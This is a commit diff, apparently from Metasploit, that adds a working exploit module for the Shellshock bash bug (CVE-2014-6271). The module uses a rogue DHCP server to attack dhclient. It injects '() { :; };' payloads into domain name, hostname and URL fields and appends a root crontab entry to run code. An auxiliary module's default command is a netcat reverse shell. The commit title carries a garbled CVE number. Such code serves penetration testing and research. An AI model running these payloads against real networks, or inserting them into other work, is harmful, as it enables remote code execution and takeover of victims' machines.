Land #3893, @jlee-r7's exploit module for DHCP CVE-2014-2014-6271
commit
1fa488f791
|
@ -12,7 +12,24 @@ module Msf
|
|||
module Exploit::DHCPServer
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
super(update_info(info,
|
||||
'Stance' => Msf::Exploit::Stance::Passive,
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
||||
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
||||
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
||||
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
||||
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
||||
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
||||
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
||||
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
|
||||
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
||||
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
||||
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
||||
], self.class)
|
||||
|
||||
@dhcp = nil
|
||||
end
|
||||
|
|
|
@ -19,9 +19,9 @@ OpDHCPServer = 0x36
|
|||
OpLeaseTime = 0x33
|
||||
OpSubnetMask = 1
|
||||
OpRouter = 3
|
||||
OpDomainName = 15
|
||||
OpDns = 6
|
||||
OpHostname = 0x0c
|
||||
OpDomainname = 0x0f
|
||||
OpURL = 0x72
|
||||
OpEnd = 0xff
|
||||
|
||||
|
|
|
@ -95,7 +95,7 @@ class Server
|
|||
self.pxepathprefix = ""
|
||||
self.pxereboottime = 2000
|
||||
|
||||
self.domainname = hash['DOMAINNAME'] if hash.include?('DOMAINNAME')
|
||||
self.domain_name = hash['DOMAINNAME'] || nil
|
||||
self.url = hash['URL'] if hash.include?('URL')
|
||||
end
|
||||
|
||||
|
@ -129,7 +129,7 @@ class Server
|
|||
allowed_options = [
|
||||
:serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv,
|
||||
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router,
|
||||
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domainname, :url
|
||||
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url
|
||||
]
|
||||
|
||||
opts.each_pair { |k,v|
|
||||
|
@ -154,10 +154,11 @@ class Server
|
|||
end
|
||||
|
||||
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
|
||||
attr_accessor :domain_name
|
||||
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
|
||||
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
|
||||
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
|
||||
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :domainname, :url
|
||||
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url
|
||||
|
||||
protected
|
||||
|
||||
|
@ -169,7 +170,7 @@ protected
|
|||
wds = []
|
||||
eds = [@sock]
|
||||
|
||||
r,w,e = ::IO.select(rds,wds,eds,1)
|
||||
r,_,_ = ::IO.select(rds,wds,eds,1)
|
||||
|
||||
if (r != nil and r[0] == self.sock)
|
||||
buf,host,port = self.sock.recvfrom(65535)
|
||||
|
@ -201,19 +202,19 @@ protected
|
|||
end
|
||||
|
||||
# parse out the members
|
||||
hwtype = buf[1,1]
|
||||
_hwtype = buf[1,1]
|
||||
hwlen = buf[2,1].unpack("C").first
|
||||
hops = buf[3,1]
|
||||
txid = buf[4..7]
|
||||
elapsed = buf[8..9]
|
||||
flags = buf[10..11]
|
||||
_hops = buf[3,1]
|
||||
_txid = buf[4..7]
|
||||
_elapsed = buf[8..9]
|
||||
_flags = buf[10..11]
|
||||
clientip = buf[12..15]
|
||||
givenip = buf[16..19]
|
||||
nextip = buf[20..23]
|
||||
relayip = buf[24..27]
|
||||
clienthwaddr = buf[28..(27+hwlen)]
|
||||
_givenip = buf[16..19]
|
||||
_nextip = buf[20..23]
|
||||
_relayip = buf[24..27]
|
||||
_clienthwaddr = buf[28..(27+hwlen)]
|
||||
servhostname = buf[44..107]
|
||||
filename = buf[108..235]
|
||||
_filename = buf[108..235]
|
||||
magic = buf[236..239]
|
||||
|
||||
if (magic != DHCPMagic)
|
||||
|
@ -296,6 +297,8 @@ protected
|
|||
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
|
||||
pkt << dhcpoption(OpRouter, self.router)
|
||||
pkt << dhcpoption(OpDns, self.dnsserv)
|
||||
pkt << dhcpoption(OpDomainName, self.domain_name)
|
||||
|
||||
if self.servePXE # PXE options
|
||||
pkt << dhcpoption(OpPXEMagic, PXEMagic)
|
||||
# We already got this one, serve localboot file
|
||||
|
@ -320,7 +323,6 @@ protected
|
|||
pkt << dhcpoption(OpHostname, send_hostname)
|
||||
end
|
||||
end
|
||||
pkt << dhcpoption(OpDomainname, self.domainname) if self.domainname
|
||||
pkt << dhcpoption(OpURL, self.url) if self.url
|
||||
pkt << dhcpoption(OpEnd)
|
||||
|
||||
|
|
|
@ -46,34 +46,27 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [ true, 'The IP of the DHCP server' ]),
|
||||
OptString.new('NETMASK', [ true, 'The netmask of the local subnet' ]),
|
||||
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
|
||||
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]),
|
||||
OptString.new('ROUTER', [ false, 'The router IP address' ]),
|
||||
OptString.new('BROADCAST', [ false, 'The broadcast address to send to' ]),
|
||||
OptString.new('DNSSERVER', [ false, 'The DNS server IP address' ]),
|
||||
# OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]),
|
||||
OptString.new('HOSTSTART', [ false, 'The optional host integer counter' ]),
|
||||
OptString.new('FILENAME', [ false, 'The optional filename of a tftp boot server' ]),
|
||||
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
|
||||
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
|
||||
], self.class)
|
||||
|
||||
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
|
||||
end
|
||||
|
||||
def run
|
||||
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
|
||||
|
||||
hash = datastore.copy
|
||||
hash['DOMAINNAME'] = value
|
||||
hash['HOSTNAME'] = value
|
||||
hash['URL'] = value
|
||||
|
||||
# This loop is required because the current DHCP Server exits after the
|
||||
# first interaction.
|
||||
loop do
|
||||
begin
|
||||
start_service({
|
||||
'HOSTNAME' => value,
|
||||
'DOMAINNAME' => value,
|
||||
'URL' => value
|
||||
}.merge(datastore))
|
||||
start_service(hash)
|
||||
|
||||
while dhcp.thread.alive?
|
||||
while @dhcp.thread.alive?
|
||||
select(nil, nil, nil, 2)
|
||||
end
|
||||
|
||||
|
|
|
@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'DefaultAction' => 'Service'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
|
||||
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
|
||||
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
|
||||
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
|
||||
OptString.new('ROUTER', [ false, "The router IP address" ]),
|
||||
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
|
||||
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
|
||||
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
|
||||
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
|
||||
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -0,0 +1,87 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dhcp'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::DHCPServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Dhclient Bash Environment Variable Injection',
|
||||
'Description' => %q|
|
||||
When bash is started with an environment variable that begins with the
|
||||
string "() {", that variable is treated as a function definition and
|
||||
parsed as code. If extra commands are added after the function
|
||||
definition, they will be executed immediately. When dhclient receives
|
||||
an ACK that contains a domain name or hostname, they are passed to
|
||||
configuration scripts as environment variables, allowing us to trigger
|
||||
the bash bug.
|
||||
|
||||
Because of the length restrictions and unusual networking scenario at
|
||||
time of exploitation, we achieve code execution by echoing our payload
|
||||
into /etc/crontab and clean it up when we get a shell.
|
||||
|,
|
||||
'Author' => [ 'egypt' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-6271'],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
# 255 for a domain name, minus some room for encoding
|
||||
'Space' => 200,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic bash telnet ruby',
|
||||
}
|
||||
},
|
||||
'Targets' => [ [ 'Automatic Target', { }] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 24 2014'
|
||||
))
|
||||
|
||||
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
print_status "Cleaning up crontab"
|
||||
# XXX this will brick a server some day
|
||||
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
|
||||
end
|
||||
|
||||
def exploit
|
||||
hash = datastore.copy
|
||||
# Quotes seem to be completely stripped, so other characters have to be
|
||||
# escaped
|
||||
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
|
||||
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
|
||||
hash['DOMAINNAME'] = "() { :; };#{echo}"
|
||||
if hash['DOMAINNAME'].length > 255
|
||||
raise ArgumentError, 'payload too long'
|
||||
end
|
||||
|
||||
hash['HOSTNAME'] = "() { :; };#{echo}"
|
||||
hash['URL'] = "() { :; };#{echo}"
|
||||
start_service(hash)
|
||||
|
||||
begin
|
||||
while @dhcp.thread.alive?
|
||||
sleep 2
|
||||
end
|
||||
ensure
|
||||
stop_service
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue